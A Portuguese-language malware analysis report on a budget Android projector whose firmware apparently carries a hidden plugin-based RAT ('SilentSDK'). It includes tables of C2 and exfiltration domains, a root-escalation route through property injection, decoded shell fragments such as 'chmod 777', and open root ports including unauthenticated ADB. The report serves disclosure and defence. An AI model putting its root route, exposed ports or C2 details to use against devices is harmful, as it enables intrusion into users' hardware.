Apenas para Fins Educacionais e de Pesquisa. Este relatório é fornecido "como está" para fins informativos sobre ameaças de cibersegurança. A análise baseia-se num instantâneo do ecossistema atual de malware; sendo a engenharia reversa um processo contínuo, as conclusões podem estar sujeitas a alterações à medida que novos dados se tornem disponíveis.

Este relatório foi compilado de boa fé e, tanto quanto é do meu conhecimento, com base na análise de dados binários e código fonte descompilado. Devido ao alto nível de ofuscação e à natureza evolutiva da ameaça, estas conclusões representam um estado atual da investigação. Embora as evidências apoiem fortemente as conclusões apresentadas, estas estão sujeitas a refinamento à medida que novas evidências técnicas forem descobertas.
Baixar ferramenta
PropriedadeValor
Nome da MarcaNonete HY260Pro (modelo vendido por várias empresas)
Nome do Modelo InternoNT10
SoCAllwinner sun50iw12p1 (ARM 32 bits)
Sistema OperacionalSpectraOS (Android 11, Kernel 5.4.99)
Real Build FingerprintAllwinner/h713_tuna_p3/h713-tuna_p3:11
Spoofed Build FingerprintADT-3/adt3/adt3:11/RP1A.201005.006
SELinuxPermissivo (sem aplicação)
Chave de Assinatura da PlataformaChave de Teste AOSP Pública
Certificado OEMCN=蓝鲨, OU=www.bsh.me, C=CN
Canal de FirmwareHY260Pro_SpectraOS_TPYB
EtapaAçãoResultado
1Captura de tráfego de rede com WiresharkTráfego HTTP para store-api.aodintech.com
2Decodificação da resposta C2 compactada com gzip7 apps, incluindo "SilentTools" oculto
3Descriptografia AES-CBC do caminho de downloadChave [REDACTED], URL para arquivo .bpp
4Exploração de root via /oem/customer.propuid=0(root) após injeção de propriedade
5Extração forense de /data, /oem, /systemAPKs, bancos de dados, configurações
6Análise estática do DEX do StoreOSpm install -r -d, proteção de inversão de bytes
7Engenharia reversa do mecanismo reverseLenCompreensão da proteção antianálise
8Quebra da proteção de inversão de bytesDEX do SilentSDK descriptografado e analisável
9Descriptografia XOR das strings do SilentSDKDomínio C2 api.pixelpioneerss.com confirmado
10Verificação de hash em três fontesMD5/SHA-256 correspondem perfeitamente
11Engenharia reversa do processo de download do malwareServidores ainda online
12Engenharia reversa do malwareFramework RAT baseado em plugins
AppPackageisShowisForceisSilent InstallisSilent Uninstalllaunch Type
YouTubecom.google.android.youtube.tvtruefalsefalsefalse0
Disney+com.disney.disneyplustruefalsefalsefalse0
Netflixcom.netflix.mediaclienttruefalsefalsefalse0
Chromecom.android.chrometruefalsefalsefalse0
Prime Videocom.amazon.amazonvideo.livingroomtruefalsefalsefalse0
BrowseHerecom.tcl.browsertruefalsefalsefalse0
SilentToolscom.hotack.silentsdkfalsetruefalsetrue1
Chamada OfuscadaResultadoFunção
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...})api.pixelpioneerss.comDomínio C2
m36g({7,-68}, {116,-44,...})shBinário shell para Runtime.exec()
m36g({-83,-92,-19,...}, {-50,-52,...})chmod 777Comando Shell
m36g({-47,-3,-68,106,-76}, {-1,-119,...}).tempSufixo de arquivo temporário para downloads
m36g({125,61,58,...}, {21,73,78,...})https://Protocolo Primário
m36g({0,90,58,...}, {104,46,78,...})http://Fallback em erro SSL
m36g({-22,78,57}, {-71,29,117,...})SSLProtocolo TLS
m36g({-15}, {-112,...})aNome de cabeçalho personalizado → valor 1003
m36g({17,67,42}, {124,39,...})md5MessageDigest.getInstance("md5")
m36g({-15,90,-128,21}, {-122,51,...})wifigetSystemService("wifi")
m36g({-48,89,-25,-31,...}, {-73,60,...})getprop wifi.interfaceFallback shell: ler nome da interface
m36g({-95,-26,-107,-91,...}, {-62,-121,...})cat /sys/class/net/Fallback shell: ler MAC (prefixo)
m36g({6,-88,45,-126,...}, {41,-55,...})/addressFallback shell: ler MAC (sufixo)
m36g({10,39,105,25,...}, {58,21,...})02:00:00:00:00:00Sentinela de MAC falso do Android (API 23+)
PortaUIDDescrição
65528root (0)Daemon su
5555root (0)ADB sem autenticação
7889/7890system (1000)Serviço desconhecido
10012/10013system (1000)Fábrica Debug?
ServidorEndpointFunção
store-api.aodintech.comPOST /sign/app/listDistribuição de Aplicativos
sta.smartinnovate.netGET /*.jarDistribuição de Payload
cdn-store.aodintech.comGET /*.bppDownload de APK
event-api.aodintech.comPOST /reportTelemetria
api.pixelpioneerss.comPOST /(random)SilentSDK RAT C2
bur.thedynamicleap.comPOST (GZIP+AES)Exfiltração de Telemetria do SilentSDK
pb-api.aodintech.comGET /api/collections/...Configuração de Anúncios
ota.triplesai.com:8080POST /V1/Ota/CheckAtualizações de Firmware
api.ipdatacloud.comGET /v2/queryGeolocalização IP
euads-o.api.leiniao.com—Servidor de Anúncios Secundário
connect.rom.miui.com—Telemetria Xiaomi
Valor Spoofado
Valor Real
ro.build.fingerprintADT-3/adt3/adt3:11—
ro.product.build.*—Allwinner/h713_tuna_p3
Data de Build—Ter 22 Abr 15:20 CST 2025
SHA-256
Resposta do Servidor C25df097591d694...—
Nosso APK Decodificado5df097591d694...e5a193c31526a...
Análise Externa—e5a193c31526a...